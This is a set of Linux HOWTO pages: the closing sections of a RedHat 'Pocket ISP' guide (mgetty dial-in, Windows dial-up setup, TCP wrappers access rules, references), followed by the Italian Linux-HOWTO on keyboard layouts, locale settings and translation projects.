Check that mgetty is running by looking for similar line in the output of ps ax command.

 4625 ?        S      0:00 /sbin/mgetty ttyS1

Now this machine will allow modem calls from any Windows 95/98 box.

As was noted by one of the readers some steps are to be taken to prevent users from sharing their dialin password with others. A simple perl/shell script will do the job by killing and logging connections that use the same username.

Also, if it is desirable to prevent users from using dialing in their usernames should not be put into /etc/ppp/pap-secrets .

Windows setup

This is really straightforward.

  1. Click on My Computer
  2. Click on Dial Up networking
  3. Click on Make New Connection
  4. Proceed according to directions, enter the phone number etc
  5. After a new connection is created click on it and enter the username and password (same as mentioned in /etc/passwd and /etc/ppp/pap-secrets)
  6. Click Connect and it should work (it did in my case ;-) )

TO TEST THE CHANGES

Do: try to dial in using terminal program (UNIX:minicom /Windows:terminal or other)

Should get: Mgetty should respond with prompt and you Linux distribution version!

4.13 Open access

Now, after testing all the services, we are ready to open the access to this machine. The main access control facility in our case is TCP wrappers (tcpd). In case of RH 7 the xinetd will check the same access control files itself without any need to wrap services with /usr/sbin/tcpd. These facilities are controlled by 2 files /etc/hosts.allow and /etc/hosts.deny, as was mentioned in the sections devoted to various network services. TCP wrappers configuration can be done in 2 distinct ways and we will employ the simplest.

Let our /etc/hosts.deny contain ALL:ALL clause, thus denying the access to all services (started from /etc/inetd.conf ) for all hosts and all users on them. Now we can allow what we need explicitly in /etc/hosts.allow, thus following the philosophy "what is not expressly allowed is denied".

Lets assume we want to allow people to read and send email, we want some trusted hosts to update contents of the web pages and we want admin workstation to have full access. So we arrive at the following /etc/hosts.allow:

#
# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
ALL: 127.0.0.1 adminbox.some.net
#we rely on anti-relaying features of sendmail 8.9+ to fight spam
#and also restrict some sites that we don't want to see email from
sendmail: ALL EXCEPT .kr .cn
popper: .com .edu .gov .mil
#these people can upload/download stuff, make it restrictive to avoid warez!
in.ftpd: .this.net .that.net


"Pocket" ISP based on RedHat Linux HOWTO: Conclusion

 Next Previous Contents

5. Conclusion

There must be the conclusion, right?


"Pocket" ISP based on RedHat Linux HOWTO: References

 Next Previous Contents

6. References

Useful LDP HOWTOs (well, actually, all others are useful too)

  1. Setting Up Your New Domain Mini-HOWTO., really good guide of DNS setup and general network setup (recommended reading)
  2. Linux WWW HOWTO, provides more details on Apache setup, including virtual hosting
  3. Red Hat Linux 6.X as an Internet Gateway for a Home Network, some hints on network setup
  4. IP Aliasing On A Linux Machine, used for multiple IP on the same interface
  5. Ethernet HOWTO, look here in case of network card trouble
  6. IPCHAINS HOWTO, turn to this if more security is desired
  7. Serial HOWTO, serial ports, lines, modems and related stuff
  8. PPP HOWTO,some notes on PPP server setup

Software (used or mentioned) websites

  1. Eudora POP3 server
  2. WU-FPTD ftp server
  3. Sendmail MTA
  4. Mgetty pages
  5. Apache httpd server

Other documents

  1. Armoring Linux
  2. Setting Up POP/PPP server
  3. Mgetty and Windows dialin info
  4. Using RedHat 5.1 to Start an ISP, the short article on how to start an ISP if all you have is a Linux RH ;-)
  5. Guest FTP server setup
  6. Linux Dialin Server Setup Guide Yet Another Guide about that
  7. virtfs a nice automatic tool for configuring virtual services based on Perl script
  8. Linux Public Access HOWTOan old and not updated for 5 years document describing Linux-based ISP, some nice hints on equipment (serial boards) and performance
  9. Sinlge IP virtual hosting, nice doc describing how to host everything on a single IP.

Resources, not related to the topic of the document ;-)

  1. I also maintain a list of computer/network security related books with (where available) reviews and online availability. It is posted at http://www.chuvakin.org/books. If you have a book that I don't list please use the form on the page and I will add it to the list and maybe review it later.
  2. Public Browser Station HOWTO, my mini-HOWTO on web-access terminal based on RedHat Linux
  3. Access the Web Anywhere, my article in Linux Journal about Internet Kiosks


Linux Italian-HOWTO

Marco Gaiarin ( gaio@pluto.linux.it)

v1.2.0, 3 November 1998

Questo HOWTO descrive in alcuni semplici passi come configurare il proprio sistema Linux per supportare pienamente la tastiera e la localizzazione italiana. Inoltre si vuole in questo testo dare tutta una serie di informazioni sul mondo Linux in Italia.

1. Introduzione

  • 1.1 Dove potete trovare sempre l'ultima versione...
  • 1.2 Convenzioni tipografiche
  • 1.3 Note sui Link
  • 1.4 Perché Debian?!
  • 1.5 Ringraziamenti
  • 1.6 Traccia delle modifiche
  • 1.7 Copyright

2. La tastiera

  • 2.1 Console
  • 2.2 XFree86
  • 2.3 Per maggiori informazioni

3. National Language Support (NLS)

  • 3.1 La localizzazione in una riga...
  • 3.2 ...o quasi!
  • 3.3 Manpage
  • 3.4 Catalogue
  • 3.5 Per maggiori informazioni

4. Altre localizzazioni

  • 4.1 Font in console
  • 4.2 Font in X
  • 4.3 Stampante e DOS
  • 4.4 libpaper
  • 4.5 Per maggiori informazioni

5. Ispell

  • 5.1 Ispell e Emacs
  • 5.2 Per maggiori informazioni

6. TeX

  • 6.1 Un po' di teoria...
  • 6.2 L'installazione TeX di Linux
  • 6.3 Produzione di elaborati TeX ben localizzati
  • 6.4 Per maggiori informazioni

7. Siamo in Europa, bellezza!

  • 7.1 Per maggiori informazioni

8. TimeZone

  • 8.1 Q: ma perché Linux mi ha sbagliato il passaggio di fuso?!
  • 8.2 Q: ma perché ho l'ora impostata a CEST?

9. Documentazione

  • 9.1 Pubblicazioni offline (su carta... ;)
  • 9.2 Pubblicazioni online
  • 9.3 Distribuzioni in Italiano
  • 9.4 Altro materiale in Italiano

10. Linux in Italia

  • 10.1 Associazioni, gruppi di utenti
  • 10.2 Aree di discussione pubbliche
  • 10.3 Siti Linux


Linux Italian-HOWTO: Introduzione

 Next Previous Contents

1. Introduzione

``Perché scegliere UNIX? A chi utilizza già un PC o un Macintosh potrebbe sorgere il dubbio che il computer a sua disposizione sia già sufficiente per tutte le esigenze descritte in precedenza e che, in fondo, UNIX non sia altro che uno dei tanti dinosauri destinati a morte certa. Probabilmente questo avverrà (in fondo nulla è eterno), ma solamente nel momento in cui tutti i personal computer saranno in grado di svolgere i compiti che, almeno per ora, sono ad esclusivo appannaggio di UNIX.''

(da ``UNIX Flash'', ed. Apogeo)

Questo testo non è una guida all'installazione, né un testo di introduzione a Linux. Se questo è il vostro primo approccio a Linux, perché lo avete appena installato o vi accingete a farlo, qui potete trovare solamente alcuni riferimenti ad altre pubblicazioni che vi possono aiutare. In particolare consiglio gli AppuntiLinux come testo introduttivo a Linux.

Quindi, in questo testo si presume che:

  • abbiate Linux installato e funzionante. Quello che di sicuro non troverete qui è una guida alla risoluzione di problemi hardware
  • abbiate una versione di Linux ``recente'', ovvero un kernel 2.0.0 o successivi, e tutte le nuove versioni delle utilità che occorrono per queste versioni di kernel
  • abbiate una minima conoscenza della organizzazione del filesystem e la padronanza dei principali comandi, nonché un'idea dei concetti di utente e utente ``root''
  • abbiate una minima conoscenza dell'uso dei programmi fondamentali, almeno un editor di testi.

Se siete alle prime armi con Linux, lo avete appena installato, il consiglio che vi do è quello di mettere da parte questo HOWTO e farvi una certa cultura su UNIX in generale e su Linux.

Potete trovare una miriade di informazioni (libri e documenti da leggere, forum di discussione, ``persone'' da incontrare) negli ultimi due capitoli di questo HOWTO.

1.1 Dove potete trovare sempre l'ultima versione...

Dalla passata versione l'Italian HOWTO è stato ``snellito''; ormai non ci sono piú grossi problemi di localizzazione ed ho quindi preferito spostare buona parte del materiale (la piú ``volatile'') sotto forma di contributi in un URL a parte.

Trovate quindi l'ultimissima versione di questo testo, assieme a contributi e qualche curiosità, all'url http://www.pluto.linux.it/~gaio/Italian-HOWTO; in ogni caso l'Italian HOWTO è un documento ``ufficiale'' e quindi fa parte sia di ILDP che di LDP, con la conseguenza pratica che lo trovate ormai dappertutto, in tutti i formati disponibili (testo, html per leggere a video e PostScript per stamparlo comodamente), solitamente anche preinstallato dalla vostra distribuzione preferita.

Inoltre l'autore è reperibile all'indirizzo gaio@pluto.linux.it. Oppure agli indirizzi 2:333/1016 (FidoNet), 61:3917/1 (PeaceLink), 91:13/1 (PNet), 1907:395/101.20 (ScoutNet).

Sono contentissimo di ricevere commenti e suggerimenti per questo testo, e invito tutti a segnalarmi eventuali errori, dimenticanze o ad inviarmi proposte e contributi.

1.2 Convenzioni tipografiche

  • Questo è un programma(n) o file di configurazione del sistema. Il numero tra parentesi non è messo a caso. Vuol dire che quel programma è dotato di una man page, consultabile con il comando man n programma; per saperne di piú sulle manpage potete consultare la sezione Manpage. Il fatto che scriva esplicitamente quel numero tra parentesi vuole essere un invito esplicito a leggere quella man page.
  • Questo è un comando da impartire o un nome di file o directory.
  • Questo è un [Tasto] sulla tastiera. Questa è una combinazione di tasti [Tasto1+Tasto2]. Di solito, per comodità, eviterò di scrivere le combinazioni di tasti con shift, perciò al posto di [Shift+a] scriverò il piú semplice [A].
  • Questo è un termine nuovo, che va quindi ``metabolizzato''. Di solito tendo a essere chiaro, nel senso che dal contesto o dalle righe immediatamente successive se ne dovrebbe capire il significato. Se non è cosí, fatemelo sapere! ;)
  • Ormai molto spesso parlo di pacchetti, ovvero di quegli archivi di programmi, file di configurazione e documentazione usati dalle moderne distribuzioni che permettono una agevole manutenzione (installazione, disinstallazione, configurazione) di un sistema Linux; il pacchetto ha un nome, che riporto, e delle informazioni di versione e tipo (.deb per Debian, .rpm per RedHat ad esempio) che invece solitamente non riporto perché implicite o inessenziali.

1.3 Note sui Link

In questo testo ho cercato di porre molta attenzione ai link, di modo che la versione html sia piacevolmente fruibile. Ma buona parte della documentazione a cui questo testo fa riferimento molto probabilmente è già presente nel vostro disco o nel CD della vostra distribuzione Linux: prendete quindi tutti questi link con un po' di sale in zucca, e fate una ricerca locale prima di lanciarvi in estenuanti riferimenti a siti d'oltreoceano.

Ad esempio tutti gli HOWTO sono solitamente già presenti nella directory /usr/doc/HOWTO, compreso questo che state leggendo e le traduzioni in Italiano (almeno in Debian); non saranno le ultime versioni, chiaro, ma solitamente sono piú che ottime.

Uomo avvisato, mezzo salvato! ;)

1.4 Perché Debian?!

L'Italian-HOWTO, pur cercando di essere il più indipendente possibile dalla distribuzione, fa riferimento pesantemente a Debian.

Questa vuole essere una scelta ``tecnica'', perché ha una init SYSV, perché ha un sistema di pacchettizzazione e configurazione serio e funzionale, perché rispetta tutti gli standard che si sono via via creati all'interno della comunità Linux, perché è già ora parzialmente in italiano e in futuro lo sarà (si spera) totalmente, perché è l'unica ad avere come obiettivo l'internazionalizzazione.

Ma vuole essere anche una scelta ``politica'', visto che Debian è l'unica distribuzione non commerciale e OpenSource, e credo quindi che meriti i miei due centesimi... di Euro! ;)

Debian e RedHat, in fondo, sono molto simili, quindi gli utenti RH (e distribuzioni RH-like come SuSE e Caldera) non dovrebbero trovarsi troppo a disagio, se non per la localizzazione quasi assente di queste distribuzioni.

1.5 Ringraziamenti

Come sempre ringrazio Anna per l'affetto, mia mamma perché mi sopporta, il papà perché non si è ancora pentito di avermi dato il numero di carta di credito, Jacopo perché sopravvive alla mia arte (?!) culinaria, Luca perché si lascia sfruttare ;), il PLUTO e PeaceLink che mi sopportano nonostante non faccia quasi niente, Leandes di Pâs e il Coordinamento Telematico di Azione Cattolica (e in particolare Lindo) che sopportano la mia continua rottura di scatole, l' Azione Cattolica di Cimpello/Praturlone che deve tenersi un segretario che si dimentica tutto, rete FidoNet che probabilmente si è beccata un bell'osso di sysop; e una caterva di altra gente che non ringrazio per decenza. ;)

Ma una dedica particolare va a Maria Luisa, Stefano e il nuovo arrivato Alessandro (il mio primo nipotino! ;). Ora spetta anche a me fare in modo che Alessandro possa vivere, da grande, in un mondo solidale, giusto, nonviolento, pulito. In fondo la scelta è semplice... pensare solo a noi stessi, oppure lasciare questo mondo un po' meglio di come l'abbiamo trovato! ;)

Dedico inoltre questo HOWTO a quattro pazzi di amici, che hanno scelto di fare la cosa piú difficile: cercare di vivere con la propria passione... sembra quasi una poesia ma è invero una ProSA! ;)

1.6 Traccia delle modifiche

0.1b

Prima versione, niente di più che una traduzione/copiatura di altro materiale simile reperito in rete

0.2b

Aggiunto il capitolo su Linux in Italia, qualche bugfix.

0.4b

Risistemazione generale, aggiunta del capitolo su ispell

0.6b

Profondo lifting (ho tolto una marea di roba che si trova semplicemente in altri HOWTO), riscrittura del capitolo sulla localizzazione con aggiunta di informazioni sui vari progetti, aggiornamento del capitolo su ispell. Questa vuole essere l'ultima versione beta (è un buon proposito ;).

0.8b

Niente di meno che una correzione della precedente versione, con qualche aggiunta. Questa è di sicuro l'ultima versione beta.

1.0.0

Il testo dovrebbe aver preso la sua struttura definitiva; è stato riorganizzato tutto ed in particolare sono state aggiunte sezioni per libpaper, fortune in italiano e distribuzioni in italiano, è stata tolta la bibliografia in inglese; sono state inoltre riviste completamente le parti riguardanti la tastiera (aggiunta di xkbd), TeX (da NTeX a teTeX) e la locale; è stato aggiunto il crossreferencing all'interno del documento.

1.2.0

Versione riveduta e corretta (soprattutto gli URL, che in un anno cambiano parecchio! ;) del precedente; inizia il lavoro di ``potatura'' di buona parte del materiale, man mano che i problemi piú grossi (locale e tastiera) vengono risolti. È stato aggiunto il paragrafo (praticamente vuoto) per le future euroquestioni.

1.7 Copyright

Per motivi spudoratamente legali, riporto come messaggio di copyright la versione ``originale'' in inglese. Trovate subito sotto la traduzione.

This Howto is copyrighted by Marco Gaiarin and distributed as other Linux HOWTOs under the terms described below.

Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu. You may finger this address for phone number and additional contact information.

Questo HOWTO è di Marco Gaiarin ed è distribuito come gli altri HOWTO di Linux sotto i termini descritti sotto.

I documenti degli HOWTO di Linux possono essere riprodotti e distribuiti in tutto o in parte, con ogni mezzo fisico o elettronico, purchè questo avviso di copyright sia mantenuto su tutte le copie. La distribuzione commerciale è permessa e incoraggiata; comunque all'autore piacerebbe essere avvisato di ogni distribuzione di questo tipo.

Ogni traduzione, lavoro derivato o comprendente ogni documento degli HOWTO di Linux deve essere coperto sotto questo avviso di copyright. Cioè non potete produrre un lavoro derivato da un HOWTO e imporre restrizioni aggiuntive sulla sua distribuzione. Eccezioni a queste regole possono essere garantite sotto certe condizioni; contattate il coordinatore degli HOWTO di Linux all'indirizzo indicato sotto.

Se avete domande contattate Tim Bynum, il coordinatore degli HOWTO di Linux, a linux-howto@sunsite.unc.edu. Potete fare finger a questo indirizzo per il numero di telefono e altre informazioni per contattarlo.


Linux Italian-HOWTO: La tastiera

 Next Previous Contents

2. La tastiera

La gestione della tastiera di Linux è organizzata su piú ``strati'' o livelli di astrazione il cui numero, tre, non ci è di grande interesse. Quello che interessa a noi è il risultato, ovvero una gestione della tastiera indipendente dall'hardware (ricordo che Linux è un sistema operativo multipiattaforma e non funziona solo sui PC compatibili...) e facilmente riconfigurabile.

Infatti è sufficiente modificare l'interfaccia tra uno strato e l'altro per ottenere gli effetti desiderati: nel nostro caso il perfetto funzionamento della tastiera italiana.

2.1 Console

Per ottenere la configurazione della tastiera italiana in console è sufficiente impartire il comando loadkeys it.map; questo comando non fa altro che caricare la tabella di descrizione della tastiera (keymap, appunto) it.map al posto di quella di default ``inserita'' nel kernel.

Solitamente è la procedura di installazione che si preoccupa di chiedere all'utente quale tastiera usare e a inserire un comando come quello qui sopra in uno degli script di avvio del sistema.

In Debian esiste il comando kbdconfig che permette di riconfigurare la tastiera senza editare a mano gli script di avvio, le altre distribuzioni avranno di sicuro sistemi simili...

Questa Keymap inoltre supporta alcune aggiunte essenziali per i programmatori, come le parentesi graffe, il carattere tilde e il carattere apice inverso ottenuti premendo rispettivamente [AltGr+8], [AltGr+9], [AltGr+0] e [AltGr+'].

Se si vuole indagare ulteriormente nella gestione della tastiera nella console Linux, si può far riferimento ai comandi (e alle rispettive manpage) showkey(1) è dumpkey(1), oltre ovviamente al già citato loadkey(1).

Keymap alternative

Nonostante questa keymap sia già molto buona, si sta cercando di fare meglio; in particolare Lorenzo Maria Catucci ( lorenzo@argon.roma2.infn.it) sta lavorando a una serie di keymap per console e per X congruenti e possibilmente senza problemi. Trovate le bozze di queste keymap nel sito dell'Italian HOWTO http://www.pluto.linux.it/~gaio/Italian-HOWTO.

Nello stesso sito potete trovare inoltre delle keymap alternative che permettono di ``emulare'' la tastiera Amiga e cose simili...

2.2 XFree86

Di recente (dalla versione 3.2 in poi...) XFree ha completamente cambiato la gestione della tastiera, aggiungendo una estensione che si chiama ``XKeyboard'' (o XKBD), e qualche astrusa voce in più nel file di configurazione. Il nuovo sistema è effettivamente migliore, ma talmente configurabile che c'è voluto un annetto perché venisse metabolizzato e quindi venissero prodotte le keymap secondo queste nuove specifiche...

Il problema vero è che xf86config(1) non riesce più a gestire in fase di configurazione automatica la tastiera italiana (o meglio, per trovare uno straccio di riferimento all'Italia occorre muoversi per un po' tra complicate opzioni...), ma niente paura.

Si può benissimo completare la configurazione scegliendo una tastiera predefinita (come quella americana) e poi editare il file /etc/X11/XF86Config aggiungendo o modificando le informazioni:

        Section "Keyboard"

        [...]

        LeftAlt      Meta
        RightAlt     ModeShift

        # ovviamente se avete una tastiera W95
        # al posto di pc102 ci va pc104 (o pc105)!
        #
        Protocol     "Standard"
        XkbRules     "xfree86"
        XkbModel     "pc102"
        XkbLayout    "it"

        EndSection

Le prime due righe, in particolare, servono ad avvisare X che abbiamo intenzione di usare [AltGr] come modificatore ModeShift per poter utilizzare, come siamo abituati, parentesi quadre, at e diesis. (Non vi ricordate? Era una di quelle imbarazzanti domande che vi ha posto xf86config(1)...)

Questa definizione di tastiera è leggermente diversa (come disposizione dei tasti ``nascosti'') di quella in console (ad esempio le parentesi graffe sono ora in [AltGr+7], [AltGr+0]).

XF86Setup(1)

In alternativa è possibile usare il nuovo programma di configurazione di XFree, presente dalla versione 3.2 e seguenti, XF86Setup(1); la configurazione di X11 è molto piú intuitiva con XF86Setup che con xf86config: per un novellino (ma anche non) può essere utile anche perché permette di controllare al volo se le impostazioni sono corrette (da Giovanni Bortolozzo).

Per poter utilizzare XF86Setup occorre installare il server VGA16 in aggiunta a quello appropriato per la propria scheda video.

Backspace e Delete

Un problema noioso, che però non riguarda solo la tastiera italiana, è che in X gli effetti della pressione dei tasti BackSpace e Canc coincidono (ambedue fanno Del, ovvero cancellano il carattere sul cursore; o ambedue fanno BackSpace, ovvero cancellano il carattere alla sinistra del cursore, dipende di solito dal tasso di umidità dell'aria... ;-).

Questo è un problema comune a tutti gli utenti Linux, ed inoltre esistono ottimi documenti che spiegano come sistemare (o mettere una pezza) a questo problema; per puntatori vedi alla fine di questa sezione.

Questo comportamento è dovuto in maggior parte da incompatibilità ``storiche'' tra librerie/applicazioni/metodi di programmazione, e anche in distribuzioni come Debian che hanno forzato una unica politica di accesso ai terminali (con il database terminfo(5)) il problema con alcune (vecchie) applicazioni rimane.

Insomma, è un problema delle applicazioni e non di Linux.

Per programmi (o sistemi) che usano ancora termcap(5) è molto probabile che occorra una correzione della definizione di xterm. Non è proprio il caso di inserire una cosa del genere in questo HOWTO, mal che vada nel sito dell'Italian-HOWTO http://www.pluto.linux.it/~gaio/Italian-HOWTO; è comunque piú corretto cercare una versione dell'applicazione compilata con terminfo oppure... cambiare applicazione! ;)

Per comprendere meglio queste cose sono letture consigliate le manpage di termcap(5) e terminfo(5), oltre a quanto riportato alla fine di questa sezione.

MetroX e tastiera italiana

Ho visto che piú persone hanno problemi con la tastiera sotto Metro-X, non so se intanto il problema è stato risolto, eventualmente segnalatemelo che elimino questa sezione.

Per risolvere in modo pulito e definitivo il problema modificate questa sezione del file /etc/X11/XMetroconfig

        Section "Keyboard"
                LeftAlt         Meta
                RightAlt        ModeShift
                Protocol        "Standard"
                XkbKeymap       "xfree86(it)"   # al posto di "metro(it)"
                XkbModel        "pc105"         # solo se avete i tasti W95
                XkbRules        "xfree86"
                XkbLayout       "it"
        EndSection

Se prima di farlo guardate alla fine del file /var/log/Xerrors, scoprirete quale è il problema: mancano i file kbd della Metro (da Andrea Tuccia).

Keymap alternative

Anche qui sono state raccolte una serie di keymap alternative a quelle ufficiali presenti nelle distribuzioni; trovate anche queste al sito http://www.pluto.linux.it/~gaio/Italian-HOWTO.

Inoltre Dino Paganello mi segnala il programma xrus(1) che permette di fare lo switch al volo tra diverse descrizioni di tastiera (lui lo usa per passare la volo dalla tastiera americana a quella italiana).

2.3 Per maggiori informazioni

Ulteriori informazioni, specialmente se si vuole migliorare la gestione della tastiera (aggiungere i tasti cursore in determinate applicazioni, macro ai tasti funzione, ...), si possono trovare in:

  • Keyboard and Console HOWTO.
  • XFree86 HOWTO (anche in versione Italiana).
  • Esiste inoltre la kbd.FAQ contenuta nel pacchetto del software di gestione della tastiera, e che dovrebbe essere già stata installata da qualche parte nel vostro disco (di solito /usr/doc/kbd).
  • Anne Baretta ( anne@ibbnet.nl) ha creato delle pagine per aiutare la configurazione di BS/DEL; non le ho guardate, ma potrebbero essere un buon punto di partenza. Le trovate su http://www.ibbnet.nl/~anne/keyboard.html
  • Esistono anche queste pagine ( http://electron.et.tudelft.nl/~jdegoede/fixkeys.txt) per il problema BS/DEL; riporto questo URL solo per ribadire che questi non sono modi con cui è possibile affrontare (e tantomeno risolvere) il problema; testi del genere, che non hanno alla base un serio studio e soprattutto l'uso di terminfo, sono come una lobotomia come rimedio per il mal di testa. Magari funziona ma...


Linux Italian-HOWTO: National Language Support (NLS)

 Next Previous Contents

3. National Language Support (NLS)

Di certo vi stupirà sapere che lo standard POSIX, e quindi anche Linux, prevede il supporto delle regole nazionali per la gestione di set di caratteri, modo di scrivere data, ora, numeri in generale e quindi tutto quello che può (informaticamente parlando) distinguere una paese dall'altro.

Dalla versione 5.2.18 delle GNU libc, tutta la localizzazione è supportata anche da Linux. Ma non basta avere installate delle moderne libc, occorre anche che questa sia stata compilata con determinate opzioni e occorre installare tutta una serie di file e directory che descrivono la ``locale'' Italia. Insomma, compito non facile se la vostra distribuzione non ha già il supporto per la localizzazione...

Per poter influenzare Linux di modo che reagisca secondo la locale scelta, occorre modificare delle variabili d'ambiente. In ordine:

LANG

È la variabile ``generale'' del gruppo, serve a definire una regola generale (il paese) con cui poi assegnare le variabili che vengono sotto. Una definizione delle variabili sottostanti annulla però quella di default definita da LANG. Inoltre LANG influenza anche il programma man(1), ci torneremo poi.

LC_COLLATE

Influisce sulle regole di ordinamento alfabetico.

LC_CTYPE

Definisce il set di caratteri usato dal sistema.

LC_MONETARY

Definisce come devono essere scritte le valute, ovvero quale, tra virgola e punto, è il separatore di decimali e migliaia e viceversa; definisce inoltre il simbolo di valuta.

LC_NUMERIC

Separatore di decimali e migliaia, formattazione dei numeri.

LC_MESSAGES

Definisce i valori ``si'' e ``no''.

LC_TIME

Come stampare data e ora (questo influenza date(1) e programmi vari).

LC_ALL

Come LANG, solo che questa ignora i valori definiti per ogni singola variabile (forza tutto al suo valore). Come spiegherò in seguito, questa variabile non va usata a meno di non sapere perfettamente quello che si sta facendo.

3.1 La localizzazione in una riga...

Piú semplicemente di quello che si crede, basta mettere nel proprio ~/.profile o /etc/profile per sh-type shells:

        export LANG=it_IT

Oppure se avete c-type shells:

        setenv LANG it_IT

Perché ``it_IT''?! È solo una convenzione, e il significato è ``lingua_PAESE''. Per fare un esempio potrebbe essere it_CH (Svizzera italiana).

Come sempre la man page di locale(7) è lettura molto consigliata, come un giro per /usr/share/locale per vedere le locali disponibili.

Bug delle localizzazioni

Solitamente si manifestano con errate definizioni degli alias di locale, quindi definizioni che dovrebbero essere equivalenti danno risultati completamente diversi; per rimediare a questo occorre prelevare le definizioni di locale aggiornate, o installarle (molte distribuzioni non le installano proprio).

Può anche essere che alcune distribuzioni non abbiano proprio il supporto per la locale, al che conviene cambiare distribuzione (l'alternativa è ricompilare a mano la libreria di sistema libc).

Bug delle applicazioni

Anche qui, come per il problema BS/DEL, se qualcosa non funziona è colpa, quasi certamente, della applicazione.

C'è qui una specie di ``caverna degli orrori''... ;)))

Netscape

Netscape, se vengono definite le variabili LC_NUMERIC e LC_MONETARY, si mette a stampare e salvare PostScript con punti al posto delle virgole e viceversa, con il risultato che gs(1) va in palla...

Se capita, ricontrollate la vostra definizione di locale, e se avete fretta di stampare basta che definiate le variabili seguenti:

        LC_NUMERIC=posix
        LC_MONETARY=posix

che forzano i valori di default (e permettono di stampare).

Notare che se si è definita LC_ALL, queste due righe qui sopra vengono ignorate: per questo è bene NON definire la variabile LC_ALL.

È probabile che questo problema non sia solo di Netscape: se vi capita un problema simile, sapete ora come ``mettere una pezza'', ma avvisate l'autore del programma in questione della presenza di questo bug.

perl(1)

Spesso perl(1) si lamenta della mancanza della locale; questo è dovuto sia a una non completa implementazione da parte della distribuzione, sia in parte a perl stesso che non riesce a gestire gli alias delle varie locali, e quindi riesce a ``seguire'' la variabile LANG solo se punta a una locale con una reale directory sul disco.

Io sulla mia Debian non sono riuscito a riprodurre il problema (se non settando LANG a una locale inesistente ;) e quindi sospetto che tutto nasca da una difficile interazione tra localizzazione e perl stesso, che verrà risolta sicuramente dalle prossime versioni di perl.

RedHat 5.0 soffre di questo problema, che è stato corretto nella 5.1.

3.2 ...o quasi!

Resta il problema di far capire alle applicazioni ``cattive'' che vogliamo avere i caratteri accentati. Questi hanno l'interessante proprietà di essere lunghi 8 bit, mentre molti programmi ne considerano solo 7, perché è da 7 bit il codice ASCII internazionalmente riconosciuto.

Queste note che scrivo dovrebbero presto finire in soffitta, visto che ormai le applicazioni che non gestiscono bene gli 8 bit o che non sano reagire alla variabile LANG sono in via di estinzione.

Editor

Emacs 19

Come sempre emacs è molto particolare. Avvisiamolo che vogliamo i caratteri accentati con :

        (standard-display-european t)
        (set-input-mode (car(current-input-mode))
        (nth 1 (current-input-mode)) 0)

Aggiunto al nostro bravo ~/.emacs

joe(1)

Basta editare il file di configurazione /etc/joe/joerc o nel proprio ~/.joerc di modo che comprenda la riga (con il ``-'' sulla colonna 1):

        -asis           Characters 128 - 255 shown as-is

Mail/News

pine(1)

Basta scegliere il set di caratteri ISO-8859-1 dal menu di configurazione, seguendo le voci ``Setup'', poi ``Configure'' e infine ``character-set''; questo fa uscire le mail in codifica ``quoted-printable'' se contengono caratteri accentati (il che è bene ;).

tin(1)

Tin è perfettamente localizzato, occorre solo scegliere il charset ISO-8859-1 per la visualizzazione nel menú di configurazione (attraverso [M]).

nn(1)

Aggiungere la seguente riga nel file ~/.nn/init:

        set data-bits 8

readline(3)

Readline, che è una libreria standard GNU per la gestione dell'input, nonostante sia giovane, pimpante e ben mantenuta, non arriva per definizione con il supporto per i caratteri accentati. Questa libreria è usata dalla shell di default di linux bash(1), per citare una applicazione di larghissimo uso. Non è da considerare un bug (questo comportamento forse è voluto per garantire il funzionamento anche sui vecchi terminali a 7 bit...) ma è chiaro che l'uso dei caratteri accentati deve essere forzato, ad esempio, se si vogliono usare nomi di file con lettere accentate.

Per fortuna basta solo aggiungere nel proprio ~/.inputrc

        set meta-flag on
        set convert-meta off
        set output-meta on

3.3 Manpage

Le manpage sono quelle pagine testuali che si richiamano con il comando man(1), e che rappresentano la documentazione online di ogni buon sistema UNIX, non solo di Linux.

Il comando man è abbastanza intelligente da reagire se è definita la variabile LANG. In pratica man va a cercare le manpages prima in $MANPATH/$LANG e poi in $MANPATH se configurato correttamente, permettendo di leggere le pagine nella lingua preferita.

Chiaramente c'è già chi sta traducendo le pagine; se vi sentite dei traduttori nati non vi resta che saltare al progetto ILDP per saperne di piú e collaborare.

Le pagine già tradotte possono essere tranquillamente installate manualmente, prelevando l'ultima versione da ftp://ftp.pluto.linux.it/pub/pluto/ildp/man e leggendo attentamente le istruzioni allegate. Gli utenti Debian possono trovare nella loro distribuzione il pacchetto manpages-it già pronto.

3.4 Catalogue

Oltre tutto questo, c'è una terza e importantissima funzione della NLS: i messaggi dei programmi nella lingua locale.

Per farsi un'idea, agli utenti Linux non tocca editare i sorgenti di un programma, modificare a mano tutte le stringhe e poi ricompilare perché questo si presenti in corretto italiano. Esiste una ``prassi'' di programmazione che permette di specificare un linguaggio di default ``compilato'' nell'eseguibile (di solito inglese, per compatibilità) e invece definire delle catalog, ovvero dei cataloghi di messaggi in un formato particolare, detto portable object, o più brevemente po, che messi in una determinata directory vengono usati semplicemente al posto dei messaggi presenti nel programma.

Linux International

Non c'è da meravigliarsi che ci abbia pensato mamma GNU stessa a creare una organizzazione nonprofit, Linux International appunto, dedicata a questo, dobbiamo ammetterlo, immane lavoro di traduzione e aggiornamento.

In particolare in questo sito vengono messe a disposizione della comunità UNIX internazionale una serie di liste in cui poter coordinarsi per la traduzione, una per ogni paese piú una serie di liste generiche di ``intracoordinamento''.

Visto che tradurre i messaggi (catalogues) e tradurre manpage e HOWTO sono compiti molto simili, per non creare fastidiose sovrapposizioni i compiti sono stati divisi tra due ambiti. Linux International in cui si definiscono le regole generali di traduzione e si traducono catalogues e programmi GNU ``ufficiali'', e ILDP che invece è piú legata al mondo Linux e maggiormente dedicata alla traduzione di documentazione (HOWTO e manpage) e anche alla sua produzione direttamente in Italiano.

Piú avanti elenco le liste a cui ti puoi iscrivere per collaborare.

Ti prego di NON, ripeto NON iniziare nessuna localizzazione senza prima aver sentito i ``colleghi'' di queste mailing list, il tuo lavoro potrebbe venir vanificato in un secondo per un banale doppione.

3.5 Per maggiori informazioni

Ulteriori informazioni possono essere recuperate nei seguenti testi:

